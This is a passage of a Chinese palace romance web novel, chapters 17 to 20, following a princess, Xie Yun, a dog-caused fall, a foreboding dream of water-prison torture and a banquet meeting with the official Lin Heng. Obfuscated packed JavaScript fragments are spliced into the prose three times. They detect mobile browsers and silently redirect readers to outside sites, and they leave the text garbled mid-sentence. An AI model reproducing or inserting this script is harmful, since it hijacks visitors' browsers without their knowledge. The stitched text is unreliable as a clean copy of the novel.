l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236656|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象和谢昀那张骤然放大的脸全都颠倒混乱起来。 她的后脑勺正对着花圃旁假山上一块棱角分明的凸起,尖锐的棱角在余光中一闪而过。 完了! 她下意识闭上眼睛。 谢昀被焦焦的一扯带得几乎飞扑到姒华欢面前,就在她后仰的瞬间,他那只原本试图去抓焦焦项圈的手,在空中硬生生划了个弧线,迅速垫向她的后脑勺和假山石之间。 一声闷响。 预想中后脑撞击石头的剧痛并未传来。取而代之的,是手掌稳稳拖住她后脑勺的触感。 谢昀的手掌宽厚而温热,垫在她和冰冷坚硬的石头之间,稳稳接住了她整个脑袋下坠的力道。 巨大的惯性带着他们两人同时摔在铺着细碎石子的地上,痛楚从身体各处传来,尤其是被石子硌到的后背和手肘。 但更让姒华欢大脑一片空白的,是猝然压下来的,带着灼人温度的鼻尖之间的触感。 时间仿佛静止了。 细碎的石子硌着她的背,有些疼。但她所有的感官,都聚集在一点,谢昀的鼻尖轻轻抵在她的鼻尖上。 那感觉是从未有过的奇怪,带着一种陌生的,属于另一个人的温热气息,霸道地侵占了她所有的感知。 谢昀漂亮的眼睛近在咫尺,那双总是波澜不惊的琥珀色眸子中,此刻盛满了震惊和失措,瞳孔深处清晰地映出她同样呆滞而放大的脸。 她第一次发现,他的睫毛长得不像话,此刻正像受惊的蝶翼,快速而失控地颤抖着。 他们两个谁都没动,维持着这个狼狈又诡异的姿势。 姒华欢甚至能感受到他鼻息间温热的气息,带着一丝急促,拂过她的嘴唇,痒痒的。 就在这片连呼吸都凝滞的尴尬里,一道惊惶失措的细弱声音响起:“殿下恕罪,是奴婢看管不当,不小心让宁妃的猫儿惊扰殿下……” 一股温热带着湿漉漉的触感,毫不客气地扫过她的脸颊,紧接着又扫过谢昀的下巴。 “哈……哈……” 是焦焦。 它听到姒华欢的惊叫声就赶紧停下狂扑,跑来查看情况。 庞大的身躯挤在两人身旁,大脑袋好奇地拱来拱去,似乎完全不明白两个人为什么叠在一起,躺在地上不动了。 它那条蓬松有力的大尾巴带着欢快,毫不知情地一下一下扫过他们几乎快贴在一起的脸颊,而后湿漉漉的鼻子在他们脸上嗅来嗅去。 脸上突如其来的凉意惊醒了僵住的二人。 谢昀像是被烫到一般,向后一缩,垫在她脑后的手骤然抽离。 他狼狈地用手肘撑起上半身,动作快得带起一阵风。脸上被汹涌的红潮迅速覆盖,一路从脖子根蔓延到耳尖。 他嘴唇动了动,似乎想说什么,眼神却慌乱地四处游移,就是不敢落在她的脸上。 姒华欢后脑勺失去支撑,“咚”一声轻磕在铺着碎石的地上。 倒是不太疼,但这点轻微的震动,也彻底把她从一片空白的迷茫状态震醒了。 两人呼吸交缠那陌生又鲜明的感觉,像烙印一样挥之不去。 她的脸颊也轰地一下烧了起来,比正午的日头还要滚烫。 灼灼的阳光下,两个脸快变成番茄的人之间,横着一条还在兴奋喘气的白色大狗。 气氛沉默到只剩下焦焦粗重的喘气声,和他们自己擂鼓般的心跳。 谢昀的喉结艰难地滚动了一下,目光极其缓慢又迟疑地落在她精致的鼻子上,鬼使神差地又下移两分,只停留一瞬,又像被火燎到般迅速弹开。 他清了清嗓子,强自镇定道:“我可不是故意的。” 17. 第 17 章 姒华欢的脑子还是一片浆糊,甚至都不知道自己是怎么起身的。 她张张嘴,憋了半天,最终只从齿缝里挤出一个干巴巴的单音节:“哦……” 她垂下眼帘,视线无处安放地乱飘,无意识扫过谢昀的左手,怔住了。 那白皙的手背上,赫然一片刺目的猩红,鲜血顺着他的指节蜿蜒而下。 而他还沉浸在那刚刚的冲击和尴尬中,眼神飘忽,对自己的伤势浑然不觉。 姒华欢看得呲牙咧嘴。那假山的凸起异常尖锐,那样大的力道磕下去,一定很痛。想着,她的手背都莫名产生一股幻痛。 “你的手……” 谢昀茫然地顺着她的目光看向自己的手背,愣了一下,随即才后知后觉感到疼痛似的,下意识蜷缩了一下手指。 “无妨,不妨事。” 看着他这副硬撑面子的模样,姒华欢拍了拍裙摆上沾到的尘土和草屑,有些僵硬道:“行了,别逞强了。太医署离这不远,我……我带你去处理一下。” 虽然罪魁祸首是他那条大肥狗,害他们摔得七荤八素,险些就亲到了,还好他们的鼻梁都很高才幸免于难。 但好歹在那时,他确实是毫不犹豫伸手护住了她的头,手因此而伤,勉强算他功过相抵了吧。 谢昀抿了抿唇,低低地“嗯”了一声。 焦焦似乎终于意识到气氛有点不对,不再兴奋地摇尾巴,而是凑到谢昀身边,对着他受伤的手露出担忧的小眼神。 姒华欢瞥了眼“父慈子孝”的一人一狗,说道:“姚黄,你先把它带回去。” “跟上。”她转过身,率先向太医署的方向走去。步履有些快,根本不管谢昀跟没跟上。 她后背挺得笔直,努力维持着表面的镇定,心口却像是揣了只兔子,咚咚咚跳得飞快。 姒华欢一进太医署,便有人给主动指了路。 “江鹤舒。” “在。”一个清朗温润的声音从药柜后传来。 江鹤舒穿着一身蓝色常服转了出来,手里还拿着个小药杵,见到她有几分诧异:“殿下怎么亲自来太医署了?” 姒华欢:“你可有好些的金创药?” 江鹤舒立刻起身:“殿下受伤了吗?我倒真有一瓶上好的金创药。” 姒华欢朝门口的谢昀抬抬下巴:“是他伤到手了,看起来还挺严重的。” 江鹤舒又坐了回去:“但是前段时间用完了。” 刚踏进门槛的谢昀:“……” 不过是不小心掰了他几根冬虫夏草,至于这么记仇吗? 姒华欢凑近江鹤舒问道:“他也得罪你啦?” 江鹤舒不置可否,手上还是熟练地取来清水、裹帘和金创药。 “如何能把手背伤成这样?” 他随口一问,声音平和,纯粹是医者的例行询问。 这再平常不过的一句话,像一道无声惊雷,“轰”地一声在姒华欢和谢昀之间炸开,刚刚在御花园里那混乱的场景无比清晰地涌回他们的脑海里。 屋内的气氛变得有些奇怪。 只余下江鹤舒用棉布蘸着清水,轻轻擦拭谢昀手背上血迹的细微声响,以及窗外偶尔传来的几声鸟鸣。 江鹤舒等了片刻,没听到任何回答,有些疑惑地抬起头,目光在后脑勺对后脑勺望天的二人之间来回扫了几圈。 江鹤舒:“?” 有人能听见他说话吗? 他手上动作未停,只是眉梢细微地挑了一下,默默加快了手上的动作。 “嘶!” 一声猝不及防地抽泣声打破了死寂的空气。 谢昀像是被针扎了似的,疼得倒吸一口凉气,条件反射地想抽回手。 姒华欢闻声下意识回头看向他的手,“怎么了?很痛吗?” 谢昀张了张嘴,差点脱口而出的“不痛”二字硬生生在舌尖打了个转,被他生生咽了下去,抿了抿唇,低低地吐出两个字:“……很痛。” 江鹤舒手上缠绕裹帘的动作顿了一下,掀起眼皮,目光平静无波地在谢昀那张因疼痛而有些生动的脸上扫过,慢悠悠道:“哦,会说话啊。” “我还以为明安侯耳朵不好使,嗓子也出问题了呢。” 谢昀:“……” 江鹤舒手上利落地打了个结,剪断多余的裹帘,开始收拾东西,示意包扎完成。 谢昀余光瞥到姒华欢突然偏过头,肩膀不断小幅度颤抖,不知是怎么了。 他顿时生出种不好的预感,缓缓把被包扎好的手举到眼前。 只看了一眼,他的脸瞬间黑如锅底。 只见他那原本骨节分明、修长好看的手,此刻被裹帘裹得层层叠叠、严严实实,只露出一点点指尖,臃肿得像个刚出锅的大猪蹄。 而且还在他手腕处打了个极其夸张的巨大蝴蝶结! 谢昀额角青筋隐隐跳动,举起“猪蹄”到江鹤舒面前。 “江、临、风!你公报私仇!这还能看吗?还有一点人样吗?” 江鹤舒慢条斯理地收拾药箱,头都没抬一下,语气极其平静:“明安侯言重了。伤口受力深,易崩裂。厚敷药粉,包扎得紧些,才能防止再次撕裂,乃是常理。至于美观……” 他皮笑肉不笑:“便暂时放下吧。” 大猪蹄的出现,使刚刚的尴尬荡然无存。姒华欢无声笑得见牙不见眼,给江鹤舒投去一个赞赏的眼神。 谢昀狠狠剜了江鹤舒一眼,又飞快地扫过姒华欢笑得灿烂的脸,最终什么狠话也没撂下。 只是从鼻子里重重地“哼”了一声,慌忙把手藏进宽大的袖子中,转身大步流星地走出了太医署,背影都透着一股悲愤。 他走得实在是太快了,当姒华欢回到永安宫时,姚黄告诉她谢昀匆匆带着焦焦离宫了,走的时候脸色不太好。 乐得姒华欢又在捧腹笑了好一会儿。 ***** 不知怎的,当晚,姒华欢又做梦了,这梦竟和上次的梦接上了。 她依旧是一个魂体飘在空中,听不到任何声音。 看着姒华容向外跑去,她跟上他的的脚步要一探究竟,刚冲到殿门口,就像一头撞上了堵看不见的墙,被狠狠地弹了回去。 她揉着发懵的脑袋,只能眼睁睁看着他越走越远,急得直跺脚。 真是见鬼了! 是因为她的魂魄不能离身体太远吗? 思索着,殿中的谢昀动了,朝殿外另一个方向走去。 姒华欢犹豫了两息,抱着一丝侥幸跟上他的脚步。 一步、两步……预想中的撞击没有到来。 她居然穿过了刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248228|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻挡她的地方! 这是为何?她不能跟着哥哥离开,却能跟着谢昀离开。 难道……她枉死在谢昀手中,所以化作了缠着谢昀不放的冤魂,只能跟着谢昀移动吗? 谢昀一路走到了水牢,那地方又潮又暗,散发着难闻的霉味。浑浊的水里泡着个男人,脸被湿发糊着,看不太真切,只觉得似乎有那么一点眼熟,应该在哪里见过。 还没等她想起来是谁,就见谢昀走了过去,靴底踏在湿漉漉的石砖上,脸上没有任何表情,平静得像结了冰的湖面。 姒华欢看惯了谢昀漫不经心笑着的模样,从未看过谢昀露出过这样冰冷可怕的表情,只觉得一股寒气从脚底直冲头顶。 只见谢昀俯身,动作干脆利落又不失优雅,一把揪住水里那人的头发,逼迫他仰头,对他说了句什么。 随后没有丝毫犹豫,骤然发力,把他的头整个按进水中。 水面咕噜噜冒起一大串气泡,激烈地翻滚,破裂,又涌出更多。 男人剧烈挣扎着,水花溅起,沾湿了谢昀的袍角,他却连眼睫都没动一下。 过了好半天,久到她都快喘不过气了,谢昀才像拎起个破口袋似的,把那颗湿淋淋的头提了出来。 但他根本不给男人任何回答问题的机会,反反复复将男人的头摁下水,只在男人濒临溺水的时候再把他的头提上水面。 姒华欢惊得死死捂住自己的嘴巴,心脏怦怦直跳。 她无法把这个面无表情,随意掌握他人呼吸与死亡的男人,和白天见到的那个眉眼飞扬的少年重合到一起。 巨大的陌生感和恐惧爬上心头。 他到底是什么时候变成这样的?前世她竟从未察觉到。 太吓人了!她现在只想立刻逃离这个鬼地方! 然而飘到牢门前,她猝不及防地又被一道无形的屏障弹了回去。 她呆呆地坐在地上想:现在基本能确定,她就是化作了一个缠着谢昀的冤魂,只能随着谢昀移动。 她瑟缩着退到角落里。 牢房里的每一个角落都潮湿赃污,还有滑腻的苔藓。 即便她现在只是个魂体,闻不到摸不着,也难掩厌恶,急忙离冰冷的墙壁远些。 谢昀冷脸看着面色发紫的男人挣扎喘息,等他咳得稍稍缓过一口气,才凑近那瘫软在水池边的男人,低声问了句什么。 水里那男人抖得像筛糠,嘴唇翕动了几下,似乎想求饶,又似乎想争辩,最后只是气若游丝地吐出几个字。 谢昀像是得到了答案,直起身,脸上没有任何波澜,不再看水里瘫软如泥的人一眼,转身头也不回地离开了。 随着他身影的消失,那股一直束缚着姒华欢的力量猛地一松,还不等她做出任何反应,一股熟悉的巨大吸力凭空出现,像漩涡一样把她卷了进去。 天旋地转间,她倏地睁开眼醒来,冷汗浸湿了后背,心脏在胸腔里疯狂跳动。 眼前似乎还残留着水牢昏暗的光线,和谢昀那双冰冷无波的眼眸。 她张大口贪婪地呼吸着空气,以缓解残留的窒息感。 为什么?她为什么会梦到这些? 那真的是被她遗忘的前尘,还是……某种警示? 是上天在冥冥之中给她的机会,让她改变未来即将发生的一切? 18. 第 18 章 姚黄撩开帘子进到内殿,向倚在贵妃榻上的姒华欢递上一封拜帖:“殿下,这是晋王府刚送来的拜帖。” 长宁郡主的宴席,向来是京中贵女趋之若鹜的去处。 但姒华欢和长宁素来不和,长宁的帖子从未递到过她跟前,她也懒得去长宁那装模作样。 魏紫问:“殿下要去吗?” 姒华欢懒洋洋地伸出一只纤白的手,接过帖子略扫两眼,“啪”地一声合上。 是晋王三日后在晋王府设赏花宴。 “去,皇叔相邀,当然要去。” 长宁不怎么样,但晋王平日里待她极好,是个宽厚温和的好长辈。他的面子,她总得给。 上次她一脚把长宁踹进荷花池,长宁定是恨她入骨,巴不得撕了她。 可这是晋王府的宴,长宁再刁蛮任性,也绝不敢在自己父王的宴席上闹出半点风波。 想想就有趣。 三日后,晋王府的大门敞得格外开,宾客盈门,各府徽记的马车塞了半条街。 递了名帖,姒华欢跟着引路的侍女往里走,穿过一道又一道门,踏进女客院落。 游廊环抱着偌大的院子,院中和廊下早已立满了人,衣香鬓影,珠翠环绕。 一路行来,那些或聚在一处说笑或赏花的贵女们目光一落到她身上,便如风吹麦浪般矮了下去,屈膝行礼:“参见公主殿下。” 姒华欢只微微颔首,目光越过攒动的人头,落在水榭前那个粉色身影上。 她款款走去,长宁转过身,脸上的笑意还未来得及完全褪尽,眼底已燃起两簇火苗,死死钉在她身上:“你!” 站在长宁身边的绿衣少女反应极快,一把按住长宁的胳膊压了压。随即上前一步,对着她福礼,动作标准地无可挑剔:“见过殿下。” 姒华欢眼神扫过身着浅碧色烟罗纱裙的少女,巴掌大的小脸未施浓彩,眉似远山含黛,眼若秋水横波,眼尾微微下垂,平添几分无辜之态。 林妙晴,林相嫡女,与长宁关系最为亲厚,性子比长宁圆滑得多。 长宁用力一挣,甩开林妙晴的手,向前跨了一大步,直接站在了姒华欢面前,声音压低:“姒华欢!你还敢来?” 她的声音虽然不大,但周围无数道目光早就悄悄汇聚过来,带着探究和看戏的兴味,不约而同地安静下来,呼吸声都放轻了,生怕少听一句话。 “我有什么不敢的?”姒华欢慢悠悠轻摇手中的金丝团扇,笑道,“倒是你,若敢再招惹我,就不只是踹一脚这么简单了。” 柔嘉恨得牙痒,眼神在她的衣裙上扫了一圈,讽道:“你看看你穿的,不知道的以为今日是你的婚宴。” 姒华欢平日便爱着红衣,今日亦是,上身是件织锦短襦,下身的高束的齐胸长裙由六幅上好的朱红缭绫拼就。 裙摆层层垂坠,直至曳地,以金线织出繁复的宝相团纹,在阳光下折射出细碎的光亮。 姒华欢不甚在意地笑了笑,不客气地上下扫她一眼:“总好过你这个粉色的大扑棱蛾子。” “你!” 长宁险些没憋住音量,看周边隐约有人注视着她俩,深吸口气,将怒火压下,“你来我府上,莫不是只为了找我麻烦?” 姒华欢纤纤玉手掩住小嘴:“你也太把自己当回事了吧。” 见长宁怒目圆睁,想发脾气发不出来的样子,她计谋得逞地轻笑了起来。 她没有丝毫留恋地越过长宁,径直去了另一侧游廊,毫不关心身后长宁扭曲的表情。 一拳打在棉花上,有气没处撒才是最令人抓狂的。 长宁眼中的怒火恨不能在姒华欢背后烧出两个洞,指甲用力嵌入掌心。 林妙晴凑近她几步小声道:“郡主莫气,我有一法子……” “……” 姒华欢看到叶殊宜,施施然走过去,叶殊宜见到她微微讶然:“我还以为你今日不会来。” “闲来无事便来了。” 两人有一搭没一搭地聊着,话题慢慢跑到男客院落上。 女客院落和男客院落仅隔了一道月洞门,她们所坐的位置,目光正巧能越过月洞门,将男客院落看个大概。 男客院落中有些眼生的,姒华欢随手指了一个问道:“那青衫公子是谁?” 叶殊宜顺着她手指的方向看过去:“那个啊,国子祭酒的长孙,礼部给事中桑临。” “说到桑家,”叶殊宜靠近她,压低声音道,桑家家风极严,桑临母亲桑家大夫人出身金陵甘氏,在家中极为强势,说一不二。 “前两年桑家庶子还未娶妻,在外面偷养青楼女子做外室被发现,桑家大夫人下令将其双腿打断,以正家风。” 姒华欢听得不由双腿有些发软,“确实很严……” “谁说不是呢,而且那桑临几乎是大夫人的傀儡了,连每日穿什么衣裳,用哪顶发冠都是桑夫人选好的。”叶殊宜扁扁嘴,面带嫌弃。 “那桑临的夫人没意见吗?”姒华欢问。 “他母亲控制欲那么强,桑临至今都二十有五了,也未曾婚配。京中但凡有些头脸的人家,都避之不及呢。” 姒华欢的视线漫无目的地扫过其他男子,不知怎的,像被什么东西牵引似的,注意到桑临旁侧站着的身影。 那人身量颀长,穿着月白色的锦袍,束着简单的玉冠。侧脸线条干净,瞧着有几分清秀乖顺,正微微颔首听着旁人说话。 看起来好眼熟。 这眉眼……她心头猛地一跳! 是他!前几日那晚梦中,被谢昀溺在水中的男人! 她一把抓住身边叶殊宜的手,急问道:“殊宜,那个穿着月白色锦袍,站在刑部赵尚书身边那个男子,是谁?” 叶殊宜顺着她的目光看去,语气轻松地回道:“哦,他呀。林相家庶出的大公子,林珩。听说在刑部当差,刚提拔了刑部侍郎,挺受器重的呢。” “怎么?”她转头看姒华欢盯着林珩的眼神发直,笑得促狭,“你看上他了?” 姒华欢哪有心思理会她的调侃,忙追问:“为何我以前从未见过他?” “唔,或许他长得只是一般俊俏,入不了你的眼吧,今儿怎么反倒注意起他来了?” “你跟我说说他平日里为人如何?” 叶殊宜见她神色认真,不似玩笑,这才收起促狭的笑容,正色道:“林大公子做事勤勉,为人更是出了名的儒雅谦逊,风评极好。嗯……林相似乎对他不怎么看重,都说他是靠自己的本事在刑部站稳的脚跟。” 一个庶子,能在林相忽视的情况下,凭自身立足,赢得外界赞誉,可见其心性坚韧,能力不俗。 听殊宜的描述,他为人处事也颇为得体。这样的人,会做出什么样的事情,足以触怒谢昀到要置他于死地? 难道……与她有关? 正思考着,视线中林珩的身影骤然消失,被一道更为高大的身影严严实实挡在了身后,连片衣角都看不见了。 姒华欢回神,便对上谢昀阴沉的面色。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16258229|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他眯起眼睛,就这么直勾勾地盯着她,眼神里明明白白写着不痛快。 怎么是他? 他不是一向懒得参加什么宴会,尤其是这种勋贵世家平日里找由头维系关系的宴会,怎么今儿突然来了? 现在一看见他就想到那晚的梦境,姒华欢只能暂时安慰自己,这一世的谢昀,此时还只是个意气风发的少年模样,不必多想。 宴会过半,姒华欢饮酒饮得有些头脑发热,便寻了个空档到外面吹吹风。 沿着抄手游廊没走几步,绕过一丛开得正盛的芍药花圃,见不远处站着一道月白色的身影,正微微仰头望天。 她的脚步很轻,那人还是立刻察觉了,循声望来,目光落在她身上,并无讶异,拱手对她规规矩矩躬身行了一礼:“见过殿下。” 他声音不高,清朗温和,犹如一缕春风轻柔拂过。 姒华欢微微颔首:“你认得本公主?” 林珩语气恭敬却不卑微,目光坦诚:“昔年于宫宴上,臣有幸得以见殿下仙姿。” 姒华欢仔细打量着眼前人,长相说不上多俊俏,但算得上清雅,端的是翩翩公子风范,让人无端生出些亲近之意。 待人温和有礼,说话不卑不亢,姒华欢对此人多了几分好感。 不知道下一次能不能梦到,谢昀是因为什么要那样对他。 秉承着“敌人的敌人就是朋友”,她对林珩表现出几分友善:“林侍郎也是出来醒酒的吗?” 林珩唇角始终噙着一丝极淡又得体的笑意,点了点头。 一阵微风不紧不慢地吹过,裹着浓郁的花香,直直扑在脸上。 姒华欢看向面前的一大片芍药花圃,各色的芍药开得正盛,层层叠叠的花瓣堆在一起,挤挤挨挨,几乎看不见底下的绿叶。 她指尖抚上离自己最近的一朵,那花瓣繁复得像个球,粉白相间,颤巍巍地在风中抖。 “殿下可是想采一朵?” 姒华欢收回手,“这朵颜色过淡,我不喜欢。” “群花品种,牡丹第一,芍药第二,故世谓牡丹为花王,芍药为花相。臣以为,相较于芍药,牡丹更衬殿下国色。” 林珩伸手掐下身前的一朵红艳的芍药,正巧与她今日所着襦裙颜色相仿。侧身转向她,双手奉上:“眼下周边并无牡丹,殿下若不嫌弃,此朵堪堪得配于殿下。” 姒华欢接过花,对林珩又多了几分欣赏。 这般会说话,怪不得他能在短短几年内升至刑部侍郎之位。 林珩的目光在略过她裙摆下方时,微微一顿。 姒华欢顺着他视线看去,不忍皱了皱眉。精致的绣鞋尖上沾染了一小块深色泥痕,不知道是在何处蹭上的。 林珩自袖中取出一方素净的帕子,那帕子叠得方正,边角一丝不苟,和他的人一样干净妥帖。 “殿下若不嫌弃,请用此帕略作清理。” 姒华欢看着他手上那方素帕,又抬头看他。他站在那里,姿态从容,眼神澄澈单纯。 此人当真是温润如玉的谦谦君子,倒是能与她哥哥有得一比。 “多谢林……” “殿下好雅兴。”一道熟悉的声音幽幽传来。 姒华欢刚得来的好心情顷刻间烟消云散,懒懒将视线挪向来人。 谢昀不徐不疾迈着稳健的步伐而来,目光不经意地在她手中的芍药上转了一圈,飞快地离开,落到了林珩身上。 似是才发现他一般,惊奇道:“林侍郎也在。” 19. 第 19 章 林珩保持着不失礼貌的微笑,拱手行礼:“明安侯。” 谢昀回以一个假笑,极其不经意地扫过他身前突兀少一朵花的花丛,和姒华欢手中的红芍药。 维士与女,伊其相谑,赠之以芍药。 民间有男女以泽兰与芍药作为信物互赠,表达爱慕之情的习俗。 姒华欢不懂,饱读诗书,高中探花的林珩还能不懂吗? 谢昀目光垂落,定在姒华欢微沾尘泥的绣鞋尖上。未及林珩反应,已径直探手抽走了对方指间那块素白帕子。 “多谢林侍郎。”话音未落,人已屈膝半蹲下去。 姒华欢只觉得眼前人影一晃消失,鞋上便传来轻柔的擦拭力道。谢昀骨节分明的手捏着那方帕子,专注地擦拭她鞋尖那点泥痕。 泥痕未能完全擦净,还洇着点深色的痕迹。 姒华欢心头一跳,被他的动作惊得下意识后撤了一步,声音带着惊疑:“你这是做什么?” “看着碍眼,擦了。” 林珩毕竟从小看尽眼色长大,又混迹官场,也是个人精。 无论谢昀是否真的没有看到他,但此举明摆着就是在宣告主权,他不会连这点都意会不到。 未多作思索,他很识趣地向姒华欢一拱手:“殿下,臣告退。” 姒华欢目送他的挺拔的背影离去,轻轻跺了跺脚,对谢昀没好气道:“你来做甚?” 谢昀站起身,奇道:“我有两条腿,又会走路,自然是走到哪儿都有可能,路过罢了。” 姒华欢才不相信世上有那么多巧合,偌大的晋王府,偏偏他就能正巧走到这偏院来。 谢昀的目光落在她手里红艳的花上,怎么看怎么不顺眼,“这花太俗太丑,给我,我帮你丢掉。” 姒华欢低头看手中的芍药,用指尖捻着转了转。这花虽然算不上顶好看,但和俗、丑是半点边都沾不上,他明摆着就是故意找茬。 “我看倒是与你甚是相配。” 姒华欢决定发挥这朵花最后的余热,故意膈应他。踮脚,伸长臂将花枝插进他发冠旁侧,退后两步欣赏。 男子簪花并不少见,可偏是这样清贵如谪仙的容貌,发间却簪了朵开得正艳的红芍药。 花瓣层层叠叠垂落鬓边,映得他白玉般的面庞浮起一抹艳色,竟无端透出几分不可言喻的风情。 他何时长得这般好看了? 意识到自己在想什么,她忙撇开视线,轻咳一声:“嗯,确实很配,送你了。” 谢昀也不恼,反倒轻倚在廊柱上,好整以暇地看着她。 姒华欢看着他,又回想起昨日那个梦,突然觉得眼前的谢昀陌生。 无论如何,都无法把梦中那个冷面狠辣的谢昀,和眼前这个翩翩少年郎重合在一起。 她从前竟从未察觉到,他到底是怎么才会变成梦中那样的呢?又是从什么时候开始的? 一个清脆的响声打断她的思考,她倏地回神。是谢昀在她眼前打了个响指,懒洋洋地说:“发什么呆?真的醉了?” “你才醉了。”姒华欢不想与他再吵下去,转身回了女客院落。 一墙之隔的小院中,林妙晴抬臂拦下往男客院落走的林珩。 她嘴角噙着一丝并不友善的笑:“大哥。” 林珩淡淡应声:“四妹妹。” 林妙晴这声“大哥”喊得心不甘情不愿。 她自幼便看不上这庶出之子。一个爬床婢女生的贱种,若是个女子尚好处置,偏生父亲前三个孩子皆为女儿,年过三十方得此一子,占了长子的名分。 好在父亲并不喜这个天资平平的儿子,对他素来冷淡,也从未给予厚望,将心力尽付于嫡出的二儿子身上。 未料林珩不知是踩了什么狗屎运,第二次参加科举便高中探花,父亲这才略略正眼看他。 刚刚她恰巧路过,偶见林珩与康乐相谈甚欢,特意驻足观察。 “没看出来,你还想攀上高枝当凤凰,要搏个驸马做。” 林珩心下了然他与公主说话被她看到了,垂眼整了整袖口:“四妹妹慎言,公主已定下驸马。” 林妙晴:“只是定下,并未成婚不是吗?” “你这般殷勤,说不定康乐在陛下面前说上几句,大婚当日的新郎官便能换了人呢?从此攀附皇家,平步青云。到那时,不知还把我们林家放不放在眼里。” 林珩一贯温和的声线冷了下来:“四妹妹,这里是晋王府,慎言。” “怎么?”林妙晴笑出声,用绢帕掩着唇,“不想当驸马?你莫不是还想当康乐的面首不成?从前不好说,如今倒未必不成。” 林珩心知她是故意讥讽。她与长宁亲近,自然连带着厌恶和长宁作对的康乐公主,见他与康乐一处,便寻机刻薄。 与她争议全然无用,唯有离开。林珩抬步就走。 被无视的林妙晴对着他的背影道:“我劝你别做无用的白日梦。你要知道什么人能攀,什么人不能攀!否则你用尽方法得到的官职,也不过是父亲一句话的事!” 林珩脚步未停,脊背依旧挺直,无人看到的袖中手已紧握成拳。 ***** 婚期将近,嘉平帝金口一开,康乐公主的婚礼要仿照亲王待遇大操大办,不仅宫里宫外忙得不可开交,姒华欢的事情也变得多起来。 整日被迫跟着尚宫、司仪们学习礼仪和驭下之术,反复练习婚礼当天各项繁冗的皇家礼仪,日日不得清净。 好不容易得闲的姒华欢恹恹地拨弄桌上的牡丹,忽想起今早听姚黄提起聚仙楼上了几道时令新菜和几样新的冰品,心思立刻活跃起来。 聚仙楼是京城最有名的酒楼,不提前一日订座,当天连门都进不去。 姒华欢叫来姚黄,让她差人去聚仙楼约个雅间,尝尝鲜去。 翌日,她穿了身轻便的鹅黄衫裙,刚拐过一道弯,脚步便是一顿。 前方宫道上那身着一身玄衣,身姿挺拔如修竹的人,不是谢昀又是谁? 姒华欢在心里“啧”了一声,这人怎么阴魂不散的,哪都有他?像是故意装作非常不经意地在她必经之路等她似的。 大越两日一小朝,五日一大朝,今日既非小朝更非大朝,却还能在宫中碰见他,真是烦人。< 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姒华欢拒绝谢昀同乘一辆马车的提议,于是谢昀只好独自骑马跟在马车旁边。 抵达聚仙楼,店小二问过名号,殷勤地将他们引入雅间,捧着精致的菜单双手奉上,笑容满面地介绍新菜品。 谢昀看也未看那菜单,只随意一挥手,语气随意:“不必点了,把所有的菜都上一遍。” 聚仙楼菜品精致,伴随的是价格高昂,鲜少有这样豪横的主顾。 店小二愣了一瞬,小心翼翼地问:“是把新菜都上一遍,还是所有的……” 谢昀:“所有的。” 店小二脸上的笑容几乎溢出来,连连躬身:“好嘞!贵客稍等,马上就来!” 姒华欢:“不知道的还以为挂你的账呢,挂我的账你就好意思这么点?” 她倒不是缺那点钱,就是看他嘚瑟的样子不爽。 “怎么?殿下缺钱了?”谢昀慷慨道,“无碍,挂我的账。辛苦你帮我花钱了,不然我那些钱,怕是几辈子都花不完了。” 太嘚瑟了。 姒华欢想日后要不要找个理由,先把他家抄了再说。 不多时,琳琅满目的菜肴便摆满了整张八仙桌,香气四溢。 姒华欢吃得惬意,过了一会儿,状似无意地开口:“你和林相大公子林侍郎……熟识吗?交情如何?” 她看上次赏花宴上两人相见,应是认识的样子。 毕竟一个是大理寺少卿,一个是刑部侍郎,即便没有私交,公事上也少不了往来。 谢昀执箸的手微微一顿,抬眼看她,眸色深了几分,嘴角勾起一抹似笑非笑的弧度。 “怪不得你今日一反常态,纡尊降贵与我同桌用膳,原来醉翁之意不在酒,是为了打听林珩。你最近为何突然这般在意他?” “林侍郎那样的谦谦君子,满京城无人不喜吧?” “你也喜欢?” 姒华欢看出他脸上显而易见的不爽,心中顿时畅快起来,故意道:“当然喜欢。” 20. 第 20 章 谢昀不再言语,只沉默嘬着杯中清茶。 姒华欢心情大好,美滋滋将满桌珍馐尝了个遍,即便是每样菜只吃两口,吃完一圈也很饱了。 挂了明安侯府的账,两人走出聚仙楼。 谢昀看她揉着肚子,道:“吃这么多还坐马车,仔细一会儿颠簸吐出来。走走吧,我陪你逛逛消食。” 姒华欢也觉得有些撑得慌,难得没反驳,点头应了。 两人无言走了几步,姒华欢又问:“所以,你和林珩到底相不相熟?” 谢昀:“你问这个做什么?” “就是问问,好奇。” “好奇我还是好奇他?” 姒华欢有些失了耐心:“我问什么你答什么便是,哪那么多问题?” “……”谢昀道,“不是很熟。” 姒华欢:“你们之间可有过节?” “……以前没有。你问这个又是何意?” “没什么。” 姒华欢了然点头,看来恩怨是后来才结下的。 她只顾着琢磨这层关系,完全忽略了身后那个冒着怨气的男人。 两人信步走在热闹的街市上,行至一个不起眼的小摊前,几块奇形怪状的彩色石头吸引了姒华欢的目光。 自小她就偏爱各种绚丽的宝石,一时兴起,弯下腰凑近了细瞧。 就在她俯身低头的刹那,旁边一家饭馆里爆发出激烈的争吵声。 